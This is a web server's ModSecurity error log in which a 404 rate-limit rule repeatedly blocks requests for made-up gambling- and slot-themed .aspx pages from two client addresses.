[Thu Apr 30 05:57:36.370053 2026] [:error] [pid 18220:tid 18242] [client 88.134.110.36:32350] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "afJ-0MyESVSfAPebmxboUQAAANM"]
[Thu Apr 30 05:57:38.748992 2026] [:error] [pid 52436:tid 52450] [client 88.134.110.36:64945] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "afJ-0gLFWPk_P7AfE8fjAAAAAUs"]
[Thu Apr 30 07:21:33.570475 2026] [:error] [pid 18112:tid 18168] [client 95.91.110.210:35418] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afKSfSUrJv3y8j6Lm1ukDAAAAFI"]
[Thu Apr 30 07:21:36.286746 2026] [:error] [pid 18112:tid 18157] [client 95.91.110.210:56016] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afKSgCUrJv3y8j6Lm1ukDgAAAEc"]
[Thu Apr 30 07:21:38.765092 2026] [:error] [pid 52436:tid 52447] [client 95.91.110.210:56018] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afKSggLFWPk_P7AfE8f4mAAAAUg"]
[Thu Apr 30 07:21:41.361711 2026] [:error] [pid 18111:tid 18127] [client 95.91.110.210:56026] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afKShWctLbxB7Q1_oK2F_gAAAAU"]
[Thu Apr 30 07:21:43.845498 2026] [:error] [pid 18113:tid 18191] [client 95.91.110.210:56036] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afKSh3iIjwsVGkvz5IldnwAAAI4"]
[Thu Apr 30 07:21:46.513889 2026] [:error] [pid 18113:tid 18188] [client 95.91.110.210:56984] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afKSiniIjwsVGkvz5IldowAAAIs"]
[Thu Apr 30 07:21:49.869971 2026] [:error] [pid 18220:tid 18231] [client 95.91.110.210:56998] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afKSjcyESVSfAPebmxb3DAAAAMg"]
[Thu Apr 30 07:21:53.447837 2026] [:error] [pid 52436:tid 52450] [client 95.91.110.210:57014] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afKSkQLFWPk_P7AfE8f4rgAAAUs"]
[Thu Apr 30 07:21:56.000854 2026] [:error] [pid 52436:tid 52452] [client 95.91.110.210:51162] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afKSkwLFWPk_P7AfE8f4sAAAAU0"]
[Thu Apr 30 07:21:58.571436 2026] [:error] [pid 18113:tid 18195] [client 95.91.110.210:51174] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afKSlniIjwsVGkvz5IldqgAAAJI"]
[Thu Apr 30 07:22:01.150051 2026] [:error] [pid 18113:tid 18200] [client 95.91.110.210:51190] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afKSmXiIjwsVGkvz5IldrQAAAJc"]
[Thu Apr 30 07:22:06.741138 2026] [:error] [pid 18111:tid 18136] [client 95.91.110.210:51200] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afKSnmctLbxB7Q1_oK2GBwAAAA4"]
[Thu Apr 30 07:22:09.179509 2026] [:error] [pid 52350:tid 52372] [client 95.91.110.210:29154] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afKSof1j4GHE9hm7bfdP1QAAAQ4"]
[Thu Apr 30 07:22:11.848840 2026] [:error] [pid 52350:tid 52375] [client 95.91.110.210:29168] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "afKSo_1j4GHE9hm7bfdP2AAAARE"]
[Thu Apr 30 07:22:14.387765 2026] [:error] [pid 18220:tid 18230] [client 95.91.110.210:29170] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afKSpsyESVSfAPebmxb3FgAAAMc"]
[Thu Apr 30 07:22:16.812498 2026] [:error] [pid 18220:tid 18238] [client 95.91.110.210:44008] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afKSqMyESVSfAPebmxb3HQAAAM8"]
[Thu Apr 30 07:22:19.421848 2026] [:error] [pid 18113:tid 18196] [client 95.91.110.210:44016] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "afKSq3iIjwsVGkvz5IldwgAAAJM"]
[Thu Apr 30 07:22:22.002114 2026] [:error] [pid 52436:tid 52461] [client 95.91.110.210:44018] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afKSrgLFWPk_P7AfE8f4wAAAAVY"]
[Thu Apr 30 07:22:25.287946 2026] [:error] [pid 52436:tid 52456] [client 95.91.110.210:19392] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "afKSsQLFWPk_P7AfE8f4ygAAAVE"]
[Thu Apr 30 07:22:27.839673 2026] [:error] [pid 52350:tid 52357] [client 95.91.110.210:19404] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "afKSs_1j4GHE9hm7bfdP4wAAAQA"]
[Thu Apr 30 07:23:07.989331 2026] [:error] [pid 52436:tid 52440] [client 95.91.110.210:19416] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afKS2wLFWPk_P7AfE8f5PAAAAUE"]
[Thu Apr 30 07:23:11.137821 2026] [:error] [pid 52436:tid 52450] [client 95.91.110.210:9592] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afKS3wLFWPk_P7AfE8f5PgAAAUs"]
[Thu Apr 30 07:23:13.649390 2026] [:error] [pid 52436:tid 52448] [client 95.91.110.210:9604] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "afKS4QLFWPk_P7AfE8f5QAAAAUk"]
[Thu Apr 30 07:23:16.210117 2026] [:error] [pid 18111:tid 18135] [client 95.91.110.210:55318] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afKS5GctLbxB7Q1_oK2GEAAAAA0"]
[Thu Apr 30 07:23:18.752110 2026] [:error] [pid 52350:tid 52371] [client 95.91.110.210:55322] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afKS5v1j4GHE9hm7bfdQFgAAAQ0"]
[Thu Apr 30 07:23:21.091558 2026] [:error] [pid 18113:tid 18189] [client 95.91.110.210:55336] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afKS6XiIjwsVGkvz5Ild4gAAAIw"]
[Thu Apr 30 07:23:24.294717 2026] [:error] [pid 18111:tid 18129] [client 95.91.110.210:55350] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afKS7GctLbxB7Q1_oK2GEQAAAAc"]
[Thu Apr 30 07:23:26.827577 2026] [:error] [pid 52436:tid 52457] [client 95.91.110.210:5226] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afKS7gLFWPk_P7AfE8f5RwAAAVI"]
[Thu Apr 30 07:23:29.410495 2026] [:error] [pid 18220:tid 18246] [client 95.91.110.210:5242] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afKS8cyESVSfAPebmxb3WgAAANc"]
[Thu Apr 30 07:23:31.876129 2026] [:error] [pid 18112:tid 18168] [client 95.91.110.210:5252] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afKS8yUrJv3y8j6Lm1ukYgAAAFI"]
[Thu Apr 30 07:23:34.321353 2026] [:error] [pid 18112:tid 18157] [client 95.91.110.210:5268] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afKS9iUrJv3y8j6Lm1ukYwAAAEc"]
[Thu Apr 30 07:23:36.847588 2026] [:error] [pid 52436:tid 52439] [client 95.91.110.210:14512] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afKS-ALFWPk_P7AfE8f5VgAAAUA"]
[Thu Apr 30 07:23:41.402782 2026] [:error] [pid 52350:tid 52357] [client 95.91.110.210:14514] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afKS_f1j4GHE9hm7bfdQIQAAAQA"]
[Thu Apr 30 07:23:43.962817 2026] [:error] [pid 52350:tid 52373] [client 95.91.110.210:14516] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afKS__1j4GHE9hm7bfdQJQAAAQ8"]
[Thu Apr 30 07:23:47.293032 2026] [:error] [pid 52436:tid 52440] [client 95.91.110.210:4362] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afKTAwLFWPk_P7AfE8f5WgAAAUE"]
[Thu Apr 30 07:23:49.956479 2026] [:error] [pid 52436:tid 52441] [client 95.91.110.210:4370] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afKTBQLFWPk_P7AfE8f5YQAAAUI"]
[Thu Apr 30 07:23:52.604046 2026] [:error] [pid 18112:tid 18164] [client 95.91.110.210:4372] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "afKTCCUrJv3y8j6Lm1ukaQAAAE4"]
[Thu Apr 30 07:23:55.826551 2026] [:error] [pid 18111:tid 18133] [client 95.91.110.210:21338] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afKTC2ctLbxB7Q1_oK2GRwAAAAs"]
[Thu Apr 30 07:23:58.245709 2026] [:error] [pid 52350:tid 52380] [client 95.91.110.210:21344] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afKTDv1j4GHE9hm7bfdQRgAAARY"]
[Thu Apr 30 07:24:00.820764 2026] [:error] [pid 18112:tid 18156] [client 95.91.110.210:21356] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afKTECUrJv3y8j6Lm1ukpgAAAEY"]
[Thu Apr 30 07:24:03.262120 2026] [:error] [pid 18112:tid 18165] [client 95.91.110.210:21362] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "afKTEyUrJv3y8j6Lm1ukvAAAAE8"]
[Thu Apr 30 07:24:43.126214 2026] [:error] [pid 18112:tid 18152] [client 95.91.110.210:40652] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afKTOyUrJv3y8j6Lm1ulBgAAAEI"]
[Thu Apr 30 07:24:45.758357 2026] [:error] [pid 18112:tid 18164] [client 95.91.110.210:63624] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afKTPSUrJv3y8j6Lm1ulDQAAAE4"]
[Thu Apr 30 07:24:48.312357 2026] [:error] [pid 52436:tid 52441] [client 95.91.110.210:63634] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afKTQALFWPk_P7AfE8f5pgAAAUI"]
[Thu Apr 30 07:24:51.392015 2026] [:error] [pid 18112:tid 18172] [client 95.91.110.210:63636] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afKTQyUrJv3y8j6Lm1ulHQAAAFY"]
[Thu Apr 30 07:24:53.938618 2026] [:error] [pid 52436:tid 52458] [client 95.91.110.210:63640] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afKTRQLFWPk_P7AfE8f5rAAAAVM"]
[Thu Apr 30 07:24:56.336988 2026] [:error] [pid 18112:tid 18167] [client 95.91.110.210:54970] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afKTSCUrJv3y8j6Lm1ulLAAAAFE"]
[Thu Apr 30 07:24:59.256909 2026] [:error] [pid 52436:tid 52446] [client 95.91.110.210:54978] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afKTSwLFWPk_P7AfE8f5rgAAAUc"]
[Thu Apr 30 07:25:01.797698 2026] [:error] [pid 52350:tid 52382] [client 95.91.110.210:54982] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afKTTf1j4GHE9hm7bfdQggAAARg"]
[Thu Apr 30 07:25:04.372474 2026] [:error] [pid 18111:tid 18146] [client 95.91.110.210:54994] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afKTUGctLbxB7Q1_oK2GrAAAABg"]
[Thu Apr 30 07:25:08.159358 2026] [:error] [pid 18111:tid 18133] [client 95.91.110.210:58892] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afKTVGctLbxB7Q1_oK2GsAAAAAs"]
[Thu Apr 30 07:25:11.808247 2026] [:error] [pid 18112:tid 18152] [client 95.91.110.210:58904] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afKTVyUrJv3y8j6Lm1ulUwAAAEI"]
